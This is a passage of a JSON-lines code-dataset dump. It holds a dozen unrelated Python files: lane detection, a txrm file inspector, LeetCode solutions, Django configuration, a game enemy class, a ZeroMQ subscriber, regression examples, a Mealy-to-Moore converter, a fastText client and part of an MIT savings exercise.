instrument_win.container.show()\n","repo_name":"mantidproject/mantid","sub_path":"scripts/SANS/sans/gui_logic/presenter/masking_table_presenter.py","file_name":"masking_table_presenter.py","file_ext":"py","file_size_in_byte":14165,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"39"} +{"seq_id":"30755594043","text":"import cv2\nimport os\nimport matplotlib.pyplot as plt\nfrom calibration_utils import calibrate_camera, undistort\nfrom binarization_utils import get_binarized_frame\nfrom perspective_utils import get_birdeye_frame\nfrom line_utils import get_fits_by_sliding_windows, draw_back_onto_the_road, Line, get_fits_by_previous_fits\nfrom moviepy.editor import VideoFileClip\nimport numpy as np\nfrom globals import xm_per_pix, time_window\n\n\nprocessed_frames = 0 # counter of frames processed (when processing video)\nline_lt = Line(buffer_len=time_window) # line on the left of the lane\nline_rt = Line(buffer_len=time_window) # line on the right of the lane\n\n\ndef prepare_out_blend_frame(blend_on_road, img_binary, img_birdeye, img_fit, line_lt, line_rt, offset_meter):\n h, w = blend_on_road.shape[:2]\n\n thumb_ratio = 0.2\n thumb_h, thumb_w = int(thumb_ratio * h), int(thumb_ratio * w)\n\n off_x, off_y = 20, 15\n\n # # add a gray rectangle to highlight the upper area\n # mask = blend_on_road.copy()\n # mask = cv2.rectangle(mask, pt1=(0, 0), pt2=(w, thumb_h+2*off_y), color=(0, 0, 0), thickness=cv2.FILLED)\n # blend_on_road = cv2.addWeighted(src1=mask, alpha=0.2, src2=blend_on_road, beta=0.8, gamma=0)\n\n # # add thumbnail of binary image\n # thumb_binary = cv2.resize(img_binary, dsize=(thumb_w, thumb_h))\n # thumb_binary = np.dstack([thumb_binary, thumb_binary, thumb_binary]) * 255\n # blend_on_road[off_y:thumb_h+off_y, off_x:off_x+thumb_w, :] = thumb_binary\n\n # # add thumbnail of bird's eye view\n # thumb_birdeye = cv2.resize(img_birdeye, dsize=(thumb_w, thumb_h))\n # thumb_birdeye = np.dstack([thumb_birdeye, thumb_birdeye, thumb_birdeye]) * 255\n # blend_on_road[off_y:thumb_h+off_y, 2*off_x+thumb_w:2*(off_x+thumb_w), :] = thumb_birdeye\n\n # # add thumbnail of bird's eye view (lane-line highlighted)\n # thumb_img_fit = cv2.resize(img_fit, dsize=(thumb_w, thumb_h))\n # blend_on_road[off_y:thumb_h+off_y, 3*off_x+2*thumb_w:3*(off_x+thumb_w), :] = thumb_img_fit\n\n # add text (curvature and offset info) on the upper right of the blend\n mean_curvature_meter = np.mean([line_lt.curvature_meter, line_rt.curvature_meter])\n \n font = cv2.FONT_HERSHEY_SIMPLEX\n # cv2.putText(blend_on_road, 'Curvature radius: {:.02f}m'.format(mean_curvature_meter), (860, 60), font, 0.9, (255, 255, 255), 2, cv2.LINE_AA)\n # cv2.putText(blend_on_road, 'Offset from center: {:.02f}m'.format(offset_meter), (860, 130), font, 0.9, (255, 255, 255), 2, cv2.LINE_AA)\n\n cv2.putText(blend_on_road, 'Curvature radius: {:.02f}m'.format(mean_curvature_meter), (460, 60), font, 1.0, (255, 255, 255), 2, cv2.LINE_AA)\n cv2.putText(blend_on_road, 'Offset from center: {:.02f}m'.format(offset_meter), (460, 130), font, 1.0, (255, 255, 255), 2, cv2.LINE_AA)\n\n return blend_on_road\n\n\ndef compute_offset_from_center(line_lt, line_rt, frame_width):\n if line_lt.detected and line_rt.detected:\n line_lt_bottom = np.mean(line_lt.all_x[line_lt.all_y > 0.95 * line_lt.all_y.max()])\n line_rt_bottom = np.mean(line_rt.all_x[line_rt.all_y > 0.95 * line_rt.all_y.max()])\n lane_width = line_rt_bottom - line_lt_bottom\n midpoint = frame_width / 2\n offset_pix = abs((line_lt_bottom + lane_width / 2) - midpoint)\n offset_meter = xm_per_pix * offset_pix\n else:\n offset_meter = -1\n\n return offset_meter\n\n\ndef process_pipeline(frame, keep_state=True):\n\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n\n global line_lt, line_rt, processed_frames\n\n # undistort the image using coefficients found in calibration\n img_undistorted = undistort(frame, mtx, dist, verbose=False)\n\n # get_get_binarized_framed_frame the frame s.t. lane lines are highlighted as much as possible\n img_binary = get_binarized_frame(img_undistorted, verbose=False)\n\n # compute perspective transform to obtain bird's eye view\n img_birdeye, M, Minv = get_birdeye_frame(img_binary, verbose=False)\n\n # fit 2-degree polynomial curve onto lane lines found\n if processed_frames > 0 and keep_state and line_lt.detected and line_rt.detected:\n line_lt, line_rt, img_fit = get_fits_by_previous_fits(img_birdeye, line_lt, line_rt, verbose=False)\n else:\n line_lt, line_rt, img_fit = get_fits_by_sliding_windows(img_birdeye, line_lt, line_rt, n_windows=7, verbose=False)\n\n # compute offset in meter from center of the lane\n offset_meter = compute_offset_from_center(line_lt, line_rt, frame_width=frame.shape[1])\n\n # draw the surface enclosed by lane lines back onto the original frame\n blend_on_road = draw_back_onto_the_road(img_undistorted, Minv, line_lt, line_rt, keep_state)\n\n # stitch on the top of final output images from different steps of the pipeline\n blend_output = prepare_out_blend_frame(blend_on_road, img_binary, img_birdeye, img_fit, line_lt, line_rt, offset_meter)\n\n processed_frames += 1\n\n blend_output = cv2.cvtColor(blend_output, cv2.COLOR_BGR2RGB)\n return blend_output\n\n\nif __name__ == '__main__':\n\n # first things first: calibrate the camera\n ret, mtx, dist, rvecs, tvecs = calibrate_camera(calib_images_dir='camera_cal')\n\n mode = 'video'\n\n if mode == 'video':\n\n selector = 'project'\n clip = VideoFileClip('{}_video.mp4'.format(selector)).fl_image(process_pipeline)\n clip.write_videofile('out_{}_{}.mp4'.format(selector, time_window), audio=False)\n\n else:\n\n test_img_dir = 'test_images'\n for test_img in os.listdir(test_img_dir):\n\n frame = cv2.imread(os.path.join(test_img_dir, test_img))\n\n blend = process_pipeline(frame, keep_state=False)\n\n cv2.imwrite('output_images/{}'.format(test_img), blend)\n\n plt.imshow(cv2.cvtColor(blend, code=cv2.COLOR_BGR2RGB))\n plt.show()","repo_name":"JosuexD/self-driving-car","sub_path":"Project 2 -Advanced lane lines/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36881364264","text":"import traceback\nfrom dataclasses import dataclass\n\nfrom txrm2tiff.xradia_properties import stream_dtypes\n\nfrom .txrm.abstract import AbstractTxrm\nfrom .txrm_functions import general\nfrom .xradia_properties import XrmDataTypes\n\n\nclass Inspector:\n\n def __init__(self, txrm:AbstractTxrm):\n self.txrm = txrm\n self._output_text = \"\"\n\n def inspect(self, extra=False):\n self._output_text += f\"\\n{self.txrm.name}\\t(v{self.txrm.version} file)\\n\"\n\n self._output_text += \"------------------------------------------------------------------------------------------\\n\"\n\n self.inspect_basic()\n self._output_text += \"------------------------------------------------------------------------------------------\\n\\n\"\n\n if extra:\n self.inspect_extra()\n self._output_text += \"------------------------------------------------------------------------------------------\\n\\n\"\n\n def inspect_basic(self):\n images_taken = self.txrm.image_info.get(\"ImagesTaken\", (0,))[0]\n num_images = self.txrm.image_info.get(\"NoOfImages\", (0,))[0]\n if images_taken != num_images:\n num_str = f\"{images_taken} images (of {num_images} planned)\"\n else:\n num_str = f\"{images_taken} images\"\n self._output_text += \"{0} of type {1} with dimensions: {2}\\n\".format(\n num_str,\n self.txrm.image_dtype\n if self.txrm.image_dtype is None\n else self.txrm.image_dtype,\n \", \".join([str(i) for i in self.txrm.image_dims]),\n )\n if self.txrm.shape[::-1] != self.txrm.image_dims:\n # Currently only used for v3 mosaics but may be useful if analysing a processed txrm object\n self._output_text += f\"The images are stored as an array of shape (rows x columns): {self.txrm.shape[0]}x{self.txrm.shape[1]}\\n\"\n\n if self.txrm.is_mosaic:\n self._output_text += f\"Is a mosaic of shape (rows x coumns): {self.txrm.mosaic_dims[0]}x{self.txrm.mosaic_dims[1]}\\n\"\n else:\n self._output_text += \"Not a mosaic\\n\"\n\n self._output_text += \"Pixel size: {0}μm\\n\".format(\n self.txrm.image_info.get(\"PixelSize\", (0,))[0]\n )\n\n if self.txrm.has_stream(\"ReferenceData/Image\"):\n self._output_text += (\n \"Reference of type {0} applied with dimensions: {1}\\n\".format(\n self.txrm.reference_dtype,\n \", \".join([str(i) for i in self.txrm.reference_dims]),\n )\n )\n else:\n self._output_text += \"No reference applied\\n\"\n\n def inspect_extra(self):\n self._inspect_image_info()\n self._output_text += \"\\n\"\n self._inspect_reference_info()\n self._output_text += \"\\n\"\n self._inspect_position_info()\n\n def _inspect_image_info(self):\n if self.txrm.image_info:\n self._output_text += \"ImageInfo streams:\\n\"\n for name, values in self.txrm.image_info.items():\n self._output_text += \"\\t{0}: {1}\\n\\n\".format(\n name, \", \".join([f\"{p}\" for p in values])\n )\n\n def _inspect_reference_info(self):\n if self.txrm.reference_info:\n self._output_text += \"ReferenceData/ImageInfo streams:\\n\"\n for name, values in self.txrm.reference_info.items():\n self._output_text += \"\\t{0}: {1}\\n\\n\".format(\n name, \", \".join([f\"{p}\" for p in values])\n )\n\n def _inspect_position_info(self):\n if self.txrm.position_info:\n self._output_text += \"PositionInfo streams:\\n\"\n for name, (pos, unit) in self.txrm.position_info.items():\n self._output_text += \"\\t{0} ({1}): {2}\\n\\n\".format(\n name, unit, \", \".join([f\"{p:.3f}\" for p in pos])\n )\n # Displays values to 3dp in Data Explorer\n\n def _get_stream_list(self):\n return self.txrm.list_streams()\n\n def list_streams(self):\n for stream in self._get_stream_list():\n stream_size = self.txrm.ole.get_size(stream)\n self._output_text += f\"{stream:110s} Size: {stream_size:6d} bytes\\n\"\n\n def inspect_streams(self, *keys):\n self._output_text += \"Inspecting streams: \" + \", \".join(keys) + \"\\n\"\n try:\n for key in keys:\n if self.txrm.has_stream(key):\n\n self._output_text += f\"\\n\\n{key}:\"\n if key in stream_dtypes.streams_dict:\n try:\n dtype = stream_dtypes.streams_dict.get(key)\n values = general.read_stream(\n self.txrm.ole,\n key,\n dtype,\n strict=True,\n )\n values_str = \", \".join([str(i) for i in values])\n self._output_text += f\"\\t{values_str} (stored as {dtype})\"\n except (ValueError, TypeError) as e:\n self._output_text += (\n f\"\\tWARNING: Expected data type unsuccessful:\\t{e}\\n\"\n )\n self.inspect_unknown_dtype_stream(key)\n else:\n self._output_text += f\"\\nUnknown data type. \"\n self.inspect_unknown_dtype_stream(key)\n else:\n self._output_text += f\"\\nStream '{key}' does not exist.\\n\"\n except Exception as e:\n self._output_text += f\"Unexpected exception reading stream {key}:\\n\\n{''.join(traceback.format_exception(type(e), e, e.__traceback__))}\\n\\n\"\n\n def get_text(self):\n return self._output_text\n\n def inspect_unknown_dtype_stream(self, key: str) -> None:\n self._output_text += \"Trying all XRM data types:\\n\"\n for dtype_enum in XrmDataTypes:\n try:\n values_str = \", \".join(\n [\n str(i)\n for i in general.read_stream(\n self.txrm.ole, key, dtype_enum, strict=True\n )\n ]\n )\n self._output_text += f\"\\t{dtype_enum.name + ':':18s}\\t{values_str}\\n\\n\"\n except (ValueError, TypeError) as e:\n self._output_text += f\"\\t{dtype_enum.name + ':':18s}\\t{e}\\n\\n\"\n","repo_name":"DiamondLightSource/txrm2tiff","sub_path":"src/txrm2tiff/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"14150498426","text":"# 4. Median of Two Sorted Arrays\nclass Solution:\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n m = len(nums1)\n n = len(nums2)\n #l = min(m,n)\n res = []\n i, j = 0, 0\n \n #for i in range(len(l)):\n while i < m and j < n:\n if nums1[i] < nums2[j]:\n res.append(nums1[i])\n i += 1\n elif nums1[i] > nums2[j]:\n res.append(nums2[j])\n j += 1\n else:\n res.append(nums1[i])\n res.append(nums2[j])\n i += 1\n j += 1\n \n if i == m:\n res.extend(nums2[j:])\n else:\n res.extend(nums1[i:])\n print(res,m, n , ((m+n)/2))\n l = (m+n)//2\n op = 0\n if (m+n)%2 == 0:\n op = (res[l-1] + res[l])/2\n else:\n op = res[((m+n)//2)]\n return op\n","repo_name":"5Isha6/Leetcode","sub_path":"4. Median of Two Sorted Arrays.py","file_name":"4. Median of Two Sorted Arrays.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"74771432754","text":"from django.urls import path\nfrom .views import Home, MyPost, DetailPost, CreatePost, UpdatePost #Home, MyPost追加\nfrom . import views\n\nurlpatterns = [\n path('',views.Login,name='login'),\n path(\"logout\",views.Logout,name=\"logout\"),\n path(\"register\", views.AccountRegistration.as_view(), name='register'),\n path(\"home/\",Home.as_view(),name=\"home\"), #追加\n path('mypost/', MyPost.as_view(), name='mypost'), \n path('detail/', DetailPost.as_view(), name='detail'), #追加\n path('detail//update', UpdatePost.as_view(), name='update'),\n path('create/', CreatePost.as_view(), name='create'),\n]","repo_name":"MakotoHirata/lordmap","sub_path":"snsapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"37878345449","text":"# -*- coding: utf-8 -*-\nfrom typing import List\n\n\n# 给你一个产品数组 products 和一个字符串 searchWord ,products 数组中每个产品都是一个字符串。\n#\n# 请你设计一个推荐系统,在依次输入单词 searchWord 的每一个字母后,推荐 products 数组中前缀与 searchWord 相同的最多三个产品\n# 。如果前缀相同的可推荐产品超过三个,请按字典序返回最小的三个。\n#\n# 请你以二维列表的形式,返回在输入 searchWord 每个字母后相应的推荐产品的列表。\n#\n#\n#\n# 示例 1:\n#\n# 输入:products = [\"mobile\",\"mouse\",\"moneypot\",\"monitor\",\"mousepad\"], searchWord\n# = \"mouse\"\n# 输出:[\n# [\"mobile\",\"moneypot\",\"monitor\"],\n# [\"mobile\",\"moneypot\",\"monitor\"],\n# [\"mouse\",\"mousepad\"],\n# [\"mouse\",\"mousepad\"],\n# [\"mouse\",\"mousepad\"]\n# ]\n# 解释:按字典序排序后的产品列表是 [\"mobile\",\"moneypot\",\"monitor\",\"mouse\",\"mousepad\"]\n# 输入 m 和 mo,由于所有产品的前缀都相同,所以系统返回字典序最小的三个产品 [\"mobile\",\"moneypot\",\"monitor\"]\n# 输入 mou, mous 和 mouse 后系统都返回 [\"mouse\",\"mousepad\"]\n#\n#\n# 示例 2:\n#\n# 输入:products = [\"havana\"], searchWord = \"havana\"\n# 输出:[[\"havana\"],[\"havana\"],[\"havana\"],[\"havana\"],[\"havana\"],[\"havana\"]]\n#\n#\n# 示例 3:\n#\n# 输入:products = [\"bags\",\"baggage\",\"banner\",\"box\",\"cloths\"], searchWord = \"bags\"\n#\n# 输出:[[\"baggage\",\"bags\",\"banner\"],[\"baggage\",\"bags\",\"banner\"],[\"baggage\",\"bags\"]\n# ,[\"bags\"]]\n#\n#\n# 示例 4:\n#\n# 输入:products = [\"havana\"], searchWord = \"tatiana\"\n# 输出:[[],[],[],[],[],[],[]]\n#\n#\n#\n#\n# 提示:\n#\n#\n# 1 <= products.length <= 1000\n# 1 <= Σ products[i].length <= 2 * 10^4\n# products[i] 中所有的字符都是小写英文字母。\n# 1 <= searchWord.length <= 1000\n# searchWord 中所有字符都是小写英文字母。\n#\n# Related Topics 字符串\n# 👍 79 👎 0\n\n\nclass Solution:\n def suggestedProducts(self, products: List[str], searchWord: str) -> List[List[str]]:\n lookup = {}\n for word in products:\n tree = lookup\n for ch in word:\n if ch not in tree:\n tree[ch] = {}\n tree = tree[ch]\n if '#' not in tree:\n tree['#']={word}\n else:\n tree['#'].add(word)\n ans = []\n for ch in searchWord:\n if ch not in lookup:\n break\n lookup = lookup[ch]\n li = lookup['#']\n ans.append(sorted(li)[:3])\n while len(ans) < len(searchWord):\n ans.append([])\n return ans\nSolution().suggestedProducts([\"moenmjzunul\"], \"moyrnqunojm\")","repo_name":"aa694849243/leetcode_cj","sub_path":"1201-1300/1268. 搜索推荐系统.py","file_name":"1268. 搜索推荐系统.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"35935915282","text":"from option import *\nimport Game\nfrom Table import table\nimport sys\n\nclass Enemy:\n Size = 55\n\n def __init__(self, _hp, _speed):\n self.hp = _hp\n self.speed = _speed\n self.point = startPoint\n self.position = Option.PointToPosition(startPoint, table.position)\n\n self.nextPoint = None\n self.nextPosition = None\n self.dir = {}\n self.speed = 100\n\n self.isActive = True\n self.setNextRoad()\n\n self.frame = 0\n self.animationTick = 1\n self.animation = 0\n\n def isEndofRoad(self):\n if table.blocks[table.road[table.road.index(Option.PointToIndex(self.point))]].isEndPoint is True:\n return True\n else:\n return False\n\n def setNextRoad(self):\n nowIndex = table.road.index(Option.PointToIndex(self.point))\n if table.blocks[table.road[nowIndex]].isEndPoint is True:\n return False\n\n self.nextPoint = Option.IntToPoint(table.road[nowIndex - 1])\n self.nextPosition = Option.PointToPosition(self.nextPoint, table.position)\n\n\n def update(self, frame_time):\n self.frame += frame_time\n if self.frame > self.animationTick:\n self.frame = 0\n if self.animation is 0:\n self.animation = 1\n else:\n self.animation = 0\n if self.isActive:\n self.move(frame_time)\n\n def move(self, frame_time):\n self.dir['X'] = int(self.nextPosition['X'] - self.position['X'])\n self.dir['Y'] = int(self.nextPosition['Y'] - self.position['Y'])\n self.dir['X'] = Option.Normalization(self.dir['X'])\n self.dir['Y'] = Option.Normalization(self.dir['Y'])\n self.position = {\n 'X': self.position['X'] + self.dir['X'] * self.speed * frame_time,\n 'Y': self.position['Y'] + self.dir['Y'] * self.speed * frame_time}\n if self.dir['X'] is 0 and self.dir['Y'] is 0:\n self.point = self.nextPoint\n if self.isEndofRoad() is True:\n self.deathEnemy()\n Option.hp -= 1\n if Option.hp <= 0:\n sys.exit()\n else:\n self.setNextRoad()\n\n def getDamage(self, _damage):\n self.hp -= _damage\n if self.hp < 1:\n self.deathEnemy()\n\n def getDebuff(self, _damage):\n if self.speed - _damage > 0: # limit slowly = 0\n self.speed -= _damage\n\n def deathEnemy(self):\n Game.removeObject(self)\n\n def draw(self, frame_time):\n if self.isActive:\n GameImage.enemy.clip_draw(\n self.animation * Enemy.Size, 0, Enemy.Size, Enemy.Size,\n self.position['X'] + (Enemy.Size / 2),\n abs(self.position['Y'] + (Enemy.Size / 2) - WindowSize['Y']))\n","repo_name":"rladudwns4643/2019_autumn_2dgp","sub_path":"Enemy.py","file_name":"Enemy.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"30425982893","text":"import zmq\nimport messages\nimport sys\n\n\ndef main():\n context = zmq.Context()\n socket = context.socket(zmq.SUB);\n print(\"Collecting updates form weather server:\")\n socket.connect(\"tcp://localhost:5556\")\n\n # Subscribe to zipcode, default is 10001 (NYC)\n zip_filter = sys.argv[1] if len(sys.argv) > 1 else \"10001\"\n socket.setsockopt_string(zmq.SUBSCRIBE, zip_filter)\n\n # Process 100 updates\n total_temp = 0\n for update_number in range(100):\n update = socket.recv_string()\n (zipcode, temperature, humidity) = update.split();\n total_temp += float(temperature)\n print(\"Got an update for\", zipcode, \": The temperature is\", temperature, \"with\", humidity, \"percent humidity.\")\n print(\"The average temperature for zip\", zip_filter, \"was\", total_temp/update_number)\n\n socket.close()\n context.destroy()\n\nif __name__ == \"__main__\":\n main()","repo_name":"nvparrish/python_zmq_book","sub_path":"zmq_subscriber.py","file_name":"zmq_subscriber.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"7465603727","text":"# encoding: utf-8\n\"\"\"\n@author: suns\n@contact: sunshuai0518@gmail.com\n@time: 2019/1/14 7:11 PM\n@file: bivariate_linear_regression_with_sklearn.py\n@desc: 双变量线性回归-使用sklearn\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport pandas as pd\nfrom sklearn import linear_model\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport warnings\n\n# 不想看到warning,添加以下代码忽略它们\nwarnings.filterwarnings(action=\"ignore\", module=\"sklearn\")\nwarnings.filterwarnings(action=\"ignore\", module=\"matplotlib\")\n\ndataset = pd.read_csv('dataset.csv')\nX = dataset.get(['room_num', 'area'])\ny = dataset.get('price')\n\n# 划分训练集和测试集\nX_train = X[:-3]\nX_test = X[-3:]\ny_train = y[:-3]\ny_test = y[-3:]\n\nregr = linear_model.LinearRegression()\nregr.fit(X_train, y_train)\ny_test_pred = regr.predict(X_test)\n\nprint('Coefficients: ', regr.coef_)\nprint('Intercept:', regr.intercept_)\nprint('the model is: y = ', regr.coef_, '* X + ', regr.intercept_)\n# 均方误差\nprint(\"Mean squared error: %.2f\" % mean_squared_error(y_test, y_test_pred))\n# r2 score,0,1之间,越接近1说明模型越好,越接近0说明模型越差\nprint('Variance score: %.2f' % r2_score(y_test, y_test_pred))\n\nx0, x1 = np.meshgrid(np.asarray(X_train)[:, 0], np.asarray(X_train)[:, 1])\ny = np.asarray(regr.coef_[0] * x0 + regr.coef_[1] * x1 + regr.intercept_)\nfig = plt.figure()\nax = Axes3D(fig)\nax.set_xlabel('room_num')\nax.set_ylabel('area')\nax.set_zlabel('price')\n# # 画训练集的散点图\nax.scatter(np.asarray(X_train)[:, 0], np.asarray(X_train)[:, 1], np.asarray(y_train), alpha=0.8, color='black')\n# 画模型,三维空间中的一个平面\nax.plot_surface(x0, x1, y, shade=False)\nplt.show()\n","repo_name":"thothsun/machine-learning","sub_path":"linear regression/bivariate_linear_regression_with_sklearn.py","file_name":"bivariate_linear_regression_with_sklearn.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"39"} +{"seq_id":"7868310175","text":"import matplotlib.pyplot as plt\nimport pandas\n\n\ndef mean(val):\n return sum(val)/float(len(val))\n\n\ndef variance(val, lmean):\n return sum([(x-lmean)**2 for x in val])\n\n\ndef covariance(x, mean_x, y, mean_y):\n covar = 0.0\n for i in range(len(x)):\n covar += (x[i] - mean_x) * (y[i] - mean_y)\n return covar\n\n\ndef coefficients(dataset):\n x = [row[0] for row in dataset]\n y = [row[1] for row in dataset]\n x_mean, y_mean = mean(x), mean(y)\n b1 = covariance(x, x_mean, y, y_mean) / variance(x, x_mean)\n b0 = y_mean - b1 * x_mean\n return [b0, b1]\n\n\ndef simple_linear_regression(train_d, test_d):\n predictions = list()\n b0, b1 = coefficients(train_d)\n for row in test_d:\n yp = b0 + b1 * row[0]\n predictions.append(yp)\n return predictions\n\n\nurl = 'datasets/iris.csv'\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\ndataSet = pandas.read_csv(url, names=names)\nsep_len = dataSet.iloc[:100, 0:1].values\npet_len = dataSet.iloc[:100, 2:3].values\ntrain = [[sep_len[i], pet_len[i]] for i in range(sep_len.size-25)]\ntest = [[sep_len[i], pet_len[i]] for i in range(sep_len.size-25, sep_len.size)]\n\n# print(\"Test data:\")\n# print(test)\n# print(\"Predictions:\")\n# print(simple_linear_regression(train,test))\n\nplt.scatter(sep_len[:75], pet_len[:75], color='blue')\n# plt.plot(sep_len[:15],pet_len[:15],color = 'red')\nplt.plot(sep_len[:75], simple_linear_regression(train, train), color='green')\nplt.title('sepal length vs petal length (Training Set)')\nplt.xlabel('sepal length')\nplt.ylabel('petal length')\nplt.axis([4, 8, 0, 6])\nplt.show()\n\nplt.scatter(sep_len[75:], pet_len[75:], color='blue')\n# plt.plot(sep_len[15:],pet_len[15:],color = 'red')\nplt.plot(sep_len[75:], simple_linear_regression(train, test), color='green')\nplt.title('sepal length vs petal length (Testing Set)')\nplt.xlabel('sepal length')\nplt.ylabel('petal length')\nplt.axis([4, 8, 0, 6])\nplt.show()\n","repo_name":"srikrishna98/Machine-Learning-Assignments","sub_path":"iris_univariate.py","file_name":"iris_univariate.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"9704046786","text":"def checkState(state,no_states):\n if (str(state)[:1] == \"q\" and int(str(state)[1:]) < no_states):\n return True\n print (\"wrong input please try again\")\n exit()\n\ndef checkOp(op):\n if(op < 2 and op > -1):\n return True\n print (\"wrong input please try again\")\n exit()\n\n\ndef accept_input(no_states,total_list,dicto):\n\n for i in range(no_states):\n total_list.append([]) # structure would be like [[q0],[q1],[q2],[q3],....]\n\n print (\"Enter input for state q{}\".format(i))\n\n print (\"for q = 0\")\n o_state = input(\"enter state : \")\n if (checkState(o_state,no_states)):\n total_list[i].append(o_state)\n o_op = int(input(\"enter op : \"))\n if(checkOp(o_op)):\n total_list[i].append(o_op)\n dicto.setdefault(o_state,[])\n dicto[o_state].append(o_op)\n\n print (\"for q = 1\")\n i_state = input(\"enter state : \")\n if (checkState(o_state,no_states)):\n total_list[i].append(i_state)\n i_op = int(input(\"enter op : \"))\n if(checkOp(o_op)):\n total_list[i].append(i_op)\n dicto.setdefault(i_state,[])\n dicto[i_state].append(i_op)\n\n return total_list ,dicto\n\ndef generate(total_list,final_list):\n output = {}\n for i in final_list:\n output.setdefault(i,[])\n output[i].append(total_list[int(str(i)[1:2])][0])\n output[i].append(total_list[int(str(i)[1:2])][2])\n output[i].append(final_list[i])\n print (output)\n print (\"state: state op\")\n for i in output:\n print (\"{} {}\".format(i,output[i]))\n \n\n\ndef main():\n dicto = {} # assigining blank dictonary\n total_list = [] # assigining blank list\n \n no_states = int(input(\"please entre number of states : \")) # accept number of states as input\n print (\"number of states are : \",no_states)\n \n total_list , dicto = accept_input(no_states,total_list,dicto) # calling function accept input\n \n print (\"\\nMealy form is: \")\n print(\"q0 = 0\\t q1 = 1\")\n print (\"\\nstate,op, state,op\")\n for i in (total_list):\n print (i)\n print(\"\\ndictonary is : \",dicto)\n \n final_list = {}\n for i in dicto:\n if(len(dicto[i]) ==1):\n final_list[i] = dicto[i][0]\n elif (dicto[i][0] == dicto[i][1]):\n final_list[i] = dicto[i][0]\n else:\n final_list[i+str(0)] = 0\n final_list[i+str(1)] = 1\n\n print (\"\\n final list for representation of moore is : \",final_list)\n\n generate(total_list,final_list)\n\nmain()\n","repo_name":"bharatmazire/Python","sub_path":"Programs/Assignmets/MealyAndMoore/MealyToMoore.py","file_name":"MealyToMoore.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"39"} +{"seq_id":"32083246326","text":"from django.contrib import admin\n\nfrom cl.favorites.models import Favorite\n\n\nclass FavoriteInline(admin.TabularInline):\n model = Favorite\n extra = 1\n raw_id_fields = (\n \"user\",\n \"cluster_id\",\n \"audio_id\",\n \"docket_id\",\n \"recap_doc_id\",\n )\n\n\n@admin.register(Favorite)\nclass FavoriteAdmin(admin.ModelAdmin):\n list_display = (\n \"id\",\n \"user\",\n \"cluster_id\",\n )\n raw_id_fields = (\n \"user\",\n \"cluster_id\",\n \"audio_id\",\n \"docket_id\",\n \"recap_doc_id\",\n )\n","repo_name":"OCTO8888/LITIGAIT","sub_path":"cl/favorites/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"6017514858","text":"# coding: utf-8\nfrom __future__ import print_function\n\nimport requests\nimport json\n\n\nclass FasttextClient(object):\n\n def __init__(self):\n self.url = \"http://localhost:4000/jsonrpc\"\n self.headers = {'content-type': 'application/json'}\n self.id = 0\n\n def __call__(self, post):\n self.id += 1\n response = requests.post(\n self.url, data=json.dumps(post), headers=self.headers).json()\n # print(response)\n return response['result']\n\n def get_vector(self, word):\n post = {\n \"method\": \"fasttextserver.get_vector\",\n \"params\": [word],\n \"id\": self.id,\n }\n response = self(post)\n value = response['value']\n return value\n\n def similarity(self, wa, wb):\n post = {\n \"method\": \"fasttextserver.similarity\",\n \"params\": [wa, wb],\n \"id\": self.id,\n }\n response = self(post)\n value = response['value']\n # print(response)\n return value\n\n def most_similar(self, word):\n post = {\n \"method\": \"fasttextserver.most_similar\",\n \"params\": [word],\n \"id\": self.id,\n }\n response = self(post)\n value = response['value']\n return value\n\n\nif __name__ == '__main__':\n fasttext_client = FasttextClient()\n\n value = fasttext_client.get_vector('de')\n print(value)\n\n value = fasttext_client.most_similar('de')\n print(value)\n\n value = fasttext_client.similarity('de', 'a')\n print(value)\n","repo_name":"rgtjf/embedding-jsonrpc-server","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"39"} +{"seq_id":"4961022648","text":"''''''\n# Project: Problem Set 1 - Part C: Finding the right amount to save away\n# Date: 4/11/2021\n# Description: In the previous versions of this program we were calculating how long it would take\n# to be able to afford the down payment on a house based on income, raises, and your selected saving rate.\n# What we are trying to calculate here is what the best savings rate to reach the goal within three years.\n# We have one input annual_salary.\n#got stuck wound up using https://github.com/tuthang102/MIT-6.0001-Intro-to-CS/blob/master/ps1/ps1c.py to help resolve\n''''''\n\nannual_salary = float(input('Enter your starting salary: '))\nx = annual_salary\ntotal_cost = 1000000\nsemi_annual_raise = 0.07\ncurrent_savings = 0\nportion_down_payment = 0.25 * total_cost\nmonths = 0\nlow = 0\nhigh = 10000\nnum_guesses = 0\nepsilon = 100\n\nwhile True:\n guess = (high + low) / 2\n annual_salary=x\n current_savings = 0\n for month in range(0, 36):\n monthly_salary = annual_salary / 12\n current_savings = current_savings + 